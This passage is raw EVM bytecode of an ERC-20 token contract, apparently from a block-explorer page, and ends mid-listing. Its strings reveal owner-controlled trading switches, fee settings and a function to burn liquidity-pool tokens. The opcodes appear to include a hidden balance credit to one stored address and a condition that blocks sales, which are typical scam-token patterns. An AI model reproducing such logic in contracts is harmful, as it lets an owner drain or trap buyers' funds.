65b90508381101561185d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b39565b9392505050565b6001600160a01b0383166118c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b39565b6001600160a01b0382166119275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b39565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119af5760405162461bcd60e51b8152600401610b3990612cfb565b6001600160a01b0382166119d55760405162461bcd60e51b8152600401610b3990612d40565b806119eb576119e68383600061231a565b505050565b60115460ff1615611ea8576007546001600160a01b03848116911614801590611a2257506007546001600160a01b03838116911614155b8015611a3657506001600160a01b03821615155b8015611a4d57506001600160a01b03821661dead14155b8015611a635750600654600160a01b900460ff16155b15611ea857601154610100900460ff16611afb576001600160a01b03831660009081526019602052604090205460ff1680611ab657506001600160a01b03821660009081526019602052604090205460ff165b611afb5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b39565b60135460ff1615611c42576007546001600160a01b03838116911614801590611b5657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b8015611b9457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b15611c4257326000908152601260205260409020544311611c2f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b39565b3260009081526012602052604090204390555b6001600160a01b0383166000908152601b602052604090205460ff168015611c8357506001600160a01b0382166000908152601a602052604090205460ff16155b15611d6757600854811115611cf85760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b39565b600a546001600160a01b038316600090815260208190526040902054611d1e9083612cca565b1115611d625760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b39565b611ea8565b6001600160a01b0382166000908152601b602052604090205460ff168015611da857506001600160a01b0383166000908152601a602052604090205460ff16155b15611e1e57600854811115611d625760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b39565b6001600160a01b0382166000908152601a602052604090205460ff16611ea857600a546001600160a01b038316600090815260208190526040902054611e649083612cca565b1115611ea85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b39565b3060009081526020819052604090205460095481108015908190611ed4575060115462010000900460ff165b8015611eea5750600654600160a01b900460ff16155b8015611f0f57506001600160a01b0385166000908152601b602052604090205460ff16155b8015611f3457506001600160a01b03851660009081526019602052604090205460ff16155b8015611f5957506001600160a01b03841660009081526019602052604090205460ff16155b15611f87576006805460ff60a01b1916600160a01b179055611f79612476565b6006805460ff60a01b191690555b600654600160a01b900460ff16158015611fb957506001600160a01b0384166000908152601b602052604090205460ff165b8015611fc75750600c5460ff165b8015611fe25750600d54600e54611fde9190612cca565b4210155b801561200757506001600160a01b03851660009081526019602052604090205460ff16155b1561201657612014612582565b505b6006546001600160a01b03861660009081526019602052604090205460ff600160a01b90920482161591168061206457506001600160a01b03851660009081526019602052604090205460ff165b1561206d575060005b600081156121b7576001600160a01b0386166000908152601b602052604090205460ff16801561209f57506000601654115b1561211c576007546001600160a01b0316600090815260208190526040902054156120c957600080fd5b6120e360646117176016548861225990919063ffffffff16565b9050601654601754826120f69190612c89565b6121009190612ca8565b601860008282546121119190612cca565b909155506121999050565b6001600160a01b0387166000908152601b602052604090205460ff16801561214657506000601454115b156121995761216560646117176014548861225990919063ffffffff16565b9050601454601554826121789190612c89565b6121829190612ca8565b601860008282546121939190612cca565b90915550505b80156121aa576121aa87308361231a565b6121b48186612d83565b94505b6121c287878761231a565b50505050505050565b600081848411156121ef5760405162461bcd60e51b8152600401610b399190612a28565b5060006121fc8486612d83565b95945050505050565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60008261226857506000610a9d565b60006122748385612c89565b9050826122818583612ca8565b1461185d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b39565b600061185d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612712565b6001600160a01b0383166123405760405162461bcd60e51b8152600401610b3990612cfb565b6001600160a01b0382166123665760405162461bcd60e51b8152600401610b3990612d40565b6123a381604051806060016040528060268152602001612e6d602691396001600160a01b03861660009081526020819052604090205491906121cb565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546123d290826117fe565b6001600160a01b03808416600081815260208190526040902092909255600254161415612431576124038180612c89565b6001600160a01b0383166000908152602081905260408120805490919061242b908490612cca565b90915550505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197c91815260200190565b30600090815260208190526040902054601854811580612494575080155b1561249d575050565b6009546124ab906014612c89565b8211156124c3576009546124c0906014612c89565b91505b6000600282601854856124d69190612c89565b6124e09190612ca8565b6124ea9190612ca8565b905060006124f88483612740565b90504761250482612782565b60006125104783612740565b600060185590508084158015906125275750600081115b156121c2576125368582612942565b601854604080518681526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166004820152600090819030906370a0823190602401602060405180830381865afa1580156125ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126139190612ce2565b90506000612632612710611717600b548561225990919063ffffffff16565b90508015612667576126677f000000000000000000000000000000000000000000000000000000000000000061dead8361231a565b60007f00000000000000000000000000000000000000000000000000000000000000009050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126c757600080fd5b505af11580156126db573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b600081836127335760405162461bcd60e51b8152600401610b399190612a28565b5060006121fc8486612ca8565b600061185d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121cb565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106127b7576127b7612d9a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612835573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128599190612db0565b8160018151811061286c5761286c612d9a565b60200260200101906001600160a01b031690816001600160a01b0316815250506128b7307f000000000000000000000000000000000000000000000000000000000000000084611864565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061290c908590600090869030904290600401612dcd565b600060405180830381600087803b15801561292657600080fd5b505af115801561293a573d6000803e3d6000fd5b505050505050565b61296d307f000000000000000000000000000000000000000000000000000000000000000084611864565b60075460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000009091169063f305d71990839060c40160606040518083038185885af11580156129fc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612a219190612e3e565b5050505050565b600060208083528351808285015260005b81811015612a5557858101830151858201604001528201612a39565b81811115612a67576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610c0b57600080fd5b60008060408385031215612aa557600080fd5b8235612ab081612a7d565b946020939093013593505050565b600060208284031215612ad057600080fd5b813561185d81612a7d565b600080600060608486031215612af057600080fd5b8335612afb81612a7d565b92506020840135612b0b81612a7d565b929592945050506040919091013590565b600060208284031215612b2e57600080fd5b5035919050565b803580151581146113d057600080fd5b600080600060608486031215612b5a57600080fd5b8335925060208401359150612b7160408501612b35565b90509250925092565b60008060408385031215612b8d57600080fd5b8235612b9881612a7d565b9150612ba660208401612b35565b90509250929050565b600060208284031215612bc157600080fd5b61185d82612b35565b60008060408385031215612bdd57600080fd5b8235612be881612a7d565b91506020830135612bf881612a7d565b809150509250929050565b600181811c90821680612c1757607f821691505b60208210811415612c3857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612ca357612ca3612c73565b500290565b600082612cc557634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612cdd57612cdd612c73565b500190565b600060208284031215612cf457600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015612d9557612d95612c73565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215612dc257600080fd5b815161185d81612a7d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612e1d5784516001600160a01b031683529383019391830191600101612df8565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612e5357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220df8a452500262f11150750e7a2aa4b4cdf0d10e1d81ca6666da19c9079cbc99464736f6c634300080c00334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106103395760003560e01c80638da5cb5b116101ab578063c18bc195116100f7578063e884f26011610095578063f2fde38b1161006f578063f2fde38b1461098e578063f6374342146109ae578063f8b45b05146109c4578063fe72b27a146109da57600080fd5b8063e884f26014610943578063ed9a48ba14610958578063f11a24d31461097857600080fd5b8063d257b34f116100d1578063d257b34f146108b1578063d85ba063146108d1578063dd62ed3e146108e7578063e2f456051461092d57600080fd5b8063c18bc19514610861578063c876d0b914610881578063c8c8ebe41461089b57600080fd5b80639ec22c0e11610164578063a9059cbb1161013e578063a9059cbb146107d2578063b62496f5146107f2578063bbc0c74214610822578063c02466681461084157600080fd5b80639ec22c0e14610786578063a457c2d71461079c578063a4c82a00146107bc57600080fd5b80638da5cb5b146106d35780638fb12cd0146106f1578063924de9b71461071157806395d89b41146107315780639a7a23d6146107465780639b7adfd11461076657600080fd5b806330c73306116102855780636a486a8e11610223578063715018a6116101fd578063715018a614610669578063730c18881461067e5780637571336a1461069e5780638a8c523c146106be57600080fd5b80636a486a8e146105fd5780636ddd17131461061357806370a082311461063357600080fd5b806349bd5a5e1161025f57806349bd5a5e146105545780634a62bb65146105885780634fbee193146105a2578063657f173c146105db57600080fd5b806330c7330614610503578063313ce56714610518578063395093511461053457600080fd5b8063199ffc72116102f2578063264d26dd116102cc578063264d26dd1461049d57806327c8f835146104bd5780632c3e486c146104d35780632e82f1a0146104e957600080fd5b8063199ffc72146104515780631a8145bb1461046757806323b872dd1461047d57600080fd5b806306fdde0314610345578063095ea7b31461037057806310d5de53146103a05780631694505e146103d057806318160ddd1461041c578063184c16c51461043b57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a6109fa565b6040516103679190612a28565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004612a92565b610a8c565b6040519015158152602001610367565b3480156103ac57600080fd5b506103906103bb366004612abe565b601a6020526000908152604090205460ff1681565b3480156103dc57600080fd5b506104047f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610367565b34801561042857600080fd5b506003545b604051908152602001610367565b34801561044757600080fd5b5061042d600f5481565b34801561045d57600080fd5b5061042d600b5481565b34801561047357600080fd5b5061042d60185481565b34801561048957600080fd5b50610390610498366004612adb565b610aa3565b3480156104a957600080fd5b50600754610404906001600160a01b031681565b3480156104c957600080fd5b5061040461dead81565b3480156104df57600080fd5b5061042d600d5481565b3480156104f557600080fd5b50600c546103909060ff1681565b34801561050f57600080fd5b50610390610b0c565b34801561052457600080fd5b5060405160098152602001610367565b34801561054057600080fd5b5061039061054f366004612a92565b610b52565b34801561056057600080fd5b506104047f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f81565b34801561059457600080fd5b506011546103909060ff1681565b3480156105ae57600080fd5b506103906105bd366004612abe565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156105e757600080fd5b506105fb6105f6366004612b1c565b610b88565b005b34801561060957600080fd5b5061042d60165481565b34801561061f57600080fd5b506011546103909062010000900460ff1681565b34801561063f57600080fd5b5061042d61064e366004612abe565b6001600160a01b031660009081526020819052604090205490565b34801561067557600080fd5b506105fb610c0e565b34801561068a57600080fd5b506105fb610699366004612b45565b610c82565b3480156106aa57600080fd5b506105fb6106b9366004612b7a565b610dab565b3480156106ca57600080fd5b506105fb610e00565b3480156106df57600080fd5b506006546001600160a01b0316610404565b3480156106fd57600080fd5b506105fb61070c366004612b1c565b610e41565b34801561071d57600080fd5b506105fb61072c366004612baf565b610f16565b34801561073d57600080fd5b5061035a610f5c565b34801561075257600080fd5b506105fb610761366004612b7a565b610f6b565b34801561077257600080fd5b506105fb610781366004612b1c565b61104b565b34801561079257600080fd5b5061042d60105481565b3480156107a857600080fd5b506103906107b7366004612a92565b6110d0565b3480156107c857600080fd5b5061042d600e5481565b3480156107de57600080fd5b506103906107ed366004612a92565b61111f565b3480156107fe57600080fd5b5061039061080d366004612abe565b601b6020526000908152604090205460ff1681565b34801561082e57600080fd5b5060115461039090610100900460ff1681565b34801561084d57600080fd5b506105fb61085c366004612b7a565b61112c565b34801561086d57600080fd5b506105fb61087c366004612b1c565b6111b5565b34801561088d57600080fd5b506013546103909060ff1681565b3480156108a757600080fd5b5061042d60085481565b3480156108bd57600080fd5b506103906108cc366004612b1c565b61127e565b3480156108dd57600080fd5b5061042d60145481565b3480156108f357600080fd5b5061042d610902366004612bca565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561093957600080fd5b5061042d60095481565b34801561094f57600080fd5b506103906113d5565b34801561096457600080fd5b506105fb610973366004612abe565b611412565b34801561098457600080fd5b5061042d60155481565b34801561099a57600080fd5b506105fb6109a9366004612abe565b611499565b3480156109ba57600080fd5b5061042d60175481565b3480156109d057600080fd5b5061042d600a5481565b3480156109e657600080fd5b506103906109f5366004612b1c565b611584565b606060048054610a0990612c03565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3590612c03565b8015610a825780601f10610a5757610100808354040283529160200191610a82565b820191906000526020600020905b815481529060010190602001808311610a6557829003601f168201915b5050505050905090565b6000610a99338484611864565b5060015b92915050565b6000610ab0848484611989565b610b028433610afd85604051806060016040528060288152602001612e93602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906121cb565b611864565b5060019392505050565b6006546000906001600160a01b03163314610b425760405162461bcd60e51b8152600401610b3990612c3e565b60405180910390fd5b506011805460ff19169055600190565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a99918590610afd90866117fe565b6006546001600160a01b03163314610bb25760405162461bcd60e51b8152600401610b3990612c3e565b60158190556014818155811115610c0b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b39565b50565b6006546001600160a01b03163314610c385760405162461bcd60e51b8152600401610b3990612c3e565b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006546001600160a01b03163314610cac5760405162461bcd60e51b8152600401610b3990612c3e565b610258831015610d1a5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610b39565b6103e88211158015610d2a575060015b610d8f5760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610b39565b600d92909255600b55600c805460ff1916911515919091179055565b6006546001600160a01b03163314610dd55760405162461bcd60e51b8152600401610b3990612c3e565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314610e2a5760405162461bcd60e51b8152600401610b3990612c3e565b6011805462ffff0019166201010017905542600e55565b6006546001600160a01b03163314610e6b5760405162461bcd60e51b8152600401610b3990612c3e565b633b9aca006103e8610e7c60035490565b610e87906001612c89565b610e919190612ca8565b610e9b9190612ca8565b811015610f025760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b39565b610f1081633b9aca00612c89565b60085550565b6006546001600160a01b03163314610f405760405162461bcd60e51b8152600401610b3990612c3e565b60118054911515620100000262ff000019909216919091179055565b606060058054610a0990612c03565b6006546001600160a01b03163314610f955760405162461bcd60e51b8152600401610b3990612c3e565b7f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f6001600160a01b0316826001600160a01b0316141561103d5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b39565b6110478282612205565b5050565b6006546001600160a01b031633146110755760405162461bcd60e51b8152600401610b3990612c3e565b601781905560168190556019811115610c0b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b39565b6000610a993384610afd85604051806060016040528060258152602001612ebb602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906121cb565b6000610a99338484611989565b6006546001600160a01b031633146111565760405162461bcd60e51b8152600401610b3990612c3e565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6006546001600160a01b031633146111df5760405162461bcd60e51b8152600401610b3990612c3e565b633b9aca006103e86111f060035490565b6111fb906005612c89565b6112059190612ca8565b61120f9190612ca8565b81101561126a5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b39565b61127881633b9aca00612c89565b600a5550565b6006546000906001600160a01b031633146112ab5760405162461bcd60e51b8152600401610b3990612c3e565b620186a06112b860035490565b6112c3906001612c89565b6112cd9190612ca8565b82101561133a5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b39565b6103e861134660035490565b611351906005612c89565b61135b9190612ca8565b8211156113c75760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b39565b50600981905560015b919050565b6006546000906001600160a01b031633146114025760405162461bcd60e51b8152600401610b3990612c3e565b506013805460ff19169055600190565b6006546001600160a01b0316331461143c5760405162461bcd60e51b8152600401610b3990612c3e565b6007546040516001600160a01b03918216918316907f676f4d23701e2f74d17fa16f61ee5bb44ce8b612e908c659d764c76589e8cbcc90600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146114c35760405162461bcd60e51b8152600401610b3990612c3e565b6001600160a01b0381166115285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b39565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546000906001600160a01b031633146115b15760405162461bcd60e51b8152600401610b3990612c3e565b600f546010546115c19190612cca565b421161160f5760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610b39565b6103e88211156116745760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610b39565b426010556040516370a0823160e01b81526001600160a01b037f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f16600482015260009030906370a0823190602401602060405180830381865afa1580156116df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117039190612ce2565b9050600061171d6127106117178487612259565b906122d8565b90508015611752576117527f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f61dead8361231a565b60007f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f9050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156117b257600080fd5b505af11580156117c6573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b60008061180b8385612cca565b90508381101561185d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b39565b9392505050565b6001600160a01b0383166118c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b39565b6001600160a01b0382166119275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b39565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119af5760405162461bcd60e51b8152600401610b3990612cfb565b6001600160a01b0382166119d55760405162461bcd60e51b8152600401610b3990612d40565b806119eb576119e68383600061231a565b505050565b60115460ff1615611ea8576007546001600160a01b03848116911614801590611a2257506007546001600160a01b03838116911614155b8015611a3657506001600160a01b03821615155b8015611a4d57506001600160a01b03821661dead14155b8015611a635750600654600160a01b900460ff16155b15611ea857601154610100900460ff16611afb576001600160a01b03831660009081526019602052604090205460ff1680611ab657506001600160a01b03821660009081526019602052604090205460ff165b611afb5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b39565b60135460ff1615611c42576007546001600160a01b03838116911614801590611b5657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611b9457507f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f6001600160a01b0316826001600160a01b031614155b15611c4257326000908152601260205260409020544311611c2f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b39565b3260009081526012602052604090204390555b6001600160a01b0383166000908152601b602052604090205460ff168015611c8357506001600160a01b0382166000908152601a602052604090205460ff16155b15611d6757600854811115611cf85760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b39565b600a546001600160a01b038316600090815260208190526040902054611d1e9083612cca565b1115611d625760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b39565b611ea8565b6001600160a01b0382166000908152601b602052604090205460ff168015611da857506001600160a01b0383166000908152601a602052604090205460ff16155b15611e1e57600854811115611d625760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b39565b6001600160a01b0382166000908152601a602052604090205460ff16611ea857600a546001600160a01b038316600090815260208190526040902054611e649083612cca565b1115611ea85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b39565b3060009081526020819052604090205460095481108015908190611ed4575060115462010000900460ff165b8015611eea5750600654600160a01b900460ff16155b8015611f0f57506001600160a01b0385166000908152601b602052604090205460ff16155b8015611f3457506001600160a01b03851660009081526019602052604090205460ff16155b8015611f5957506001600160a01b03841660009081526019602052604090205460ff16155b15611f87576006805460ff60a01b1916600160a01b179055611f79612476565b6006805460ff60a01b191690555b600654600160a01b900460ff16158015611fb957506001600160a01b0384166000908152601b602052604090205460ff165b8015611fc75750600c5460ff165b8015611fe25750600d54600e54611fde9190612cca565b4210155b801561200757506001600160a01b03851660009081526019602052604090205460ff16155b1561201657612014612582565b505b6006546001600160a01b03861660009081526019602052604090205460ff600160a01b90920482161591168061206457506001600160a01b03851660009081526019602052604090205460ff165b1561206d575060005b600081156121b7576001600160a01b0386166000908152601b602052604090205460ff16801561209f57506000601654115b1561211c576007546001600160a01b0316600090815260208190526040902054156120c957600080fd5b6120e360646117176016548861225990919063ffffffff16565b9050601654601754826120f69190612c89565b6121009190612ca8565b601860008282546121119190612cca565b909155506121999050565b6001600160a01b0387166000908152601b602052604090205460ff16801561214657506000601454115b156121995761216560646117176014548861225990919063ffffffff16565b9050601454601554826121789190612c89565b6121829190612ca8565b601860008282546121939190612cca565b90915550505b80156121aa576121aa87308361231a565b6121b48186612d83565b94505b6121c287878761231a565b50505050505050565b600081848411156121ef5760405162461bcd60e51b8152600401610b399190612a28565b5060006121fc8486612d83565b95945050505050565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60008261226857506000610a9d565b60006122748385612c89565b9050826122818583612ca8565b1461185d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b39565b600061185d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612712565b6001600160a01b0383166123405760405162461bcd60e51b8152600401610b3990612cfb565b6001600160a01b0382166123665760405162461bcd60e51b8152600401610b3990612d40565b6123a381604051806060016040528060268152602001612e6d602691396001600160a01b03861660009081526020819052604090205491906121cb565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546123d290826117fe565b6001600160a01b03808416600081815260208190526040902092909255600254161415612431576124038180612c89565b6001600160a01b0383166000908152602081905260408120805490919061242b908490612cca565b90915550505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197c91815260200190565b30600090815260208190526040902054601854811580612494575080155b1561249d575050565b6009546124ab906014612c89565b8211156124c3576009546124c0906014612c89565b91505b6000600282601854856124d69190612c89565b6124e09190612ca8565b6124ea9190612ca8565b905060006124f88483612740565b90504761250482612782565b60006125104783612740565b600060185590508084158015906125275750600081115b156121c2576125368582612942565b601854604080518681526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f166004820152600090819030906370a0823190602401602060405180830381865afa1580156125ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126139190612ce2565b90506000612632612710611717600b548561225990919063ffffffff16565b90508015612667576126677f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f61dead8361231a565b60007f000000000000000000000000142f3208fa2ceff359674c05a050d58c2c01f43f9050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126c757600080fd5b505af11580156126db573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b600081836127335760405162461bcd60e51b8152600401610b399190612a28565b5060006121fc8486612ca8565b600061185d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121cb565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106127b7576127b7612d9a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612835573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128599190612db0565b8160018151811061286c5761286c612d9a565b60200260200101906001600160a01b031690816001600160a01b0316815250506128b7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611864565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061290c908590600090869030904290600401612dcd565b600060405180830381600087803b15801561292657600080fd5b505af115801561293a573d6000803e3d6000fd5b505050505050565b61296d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611864565b60075460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063f305d71990839060c40160606040518083038185885af11580156129fc57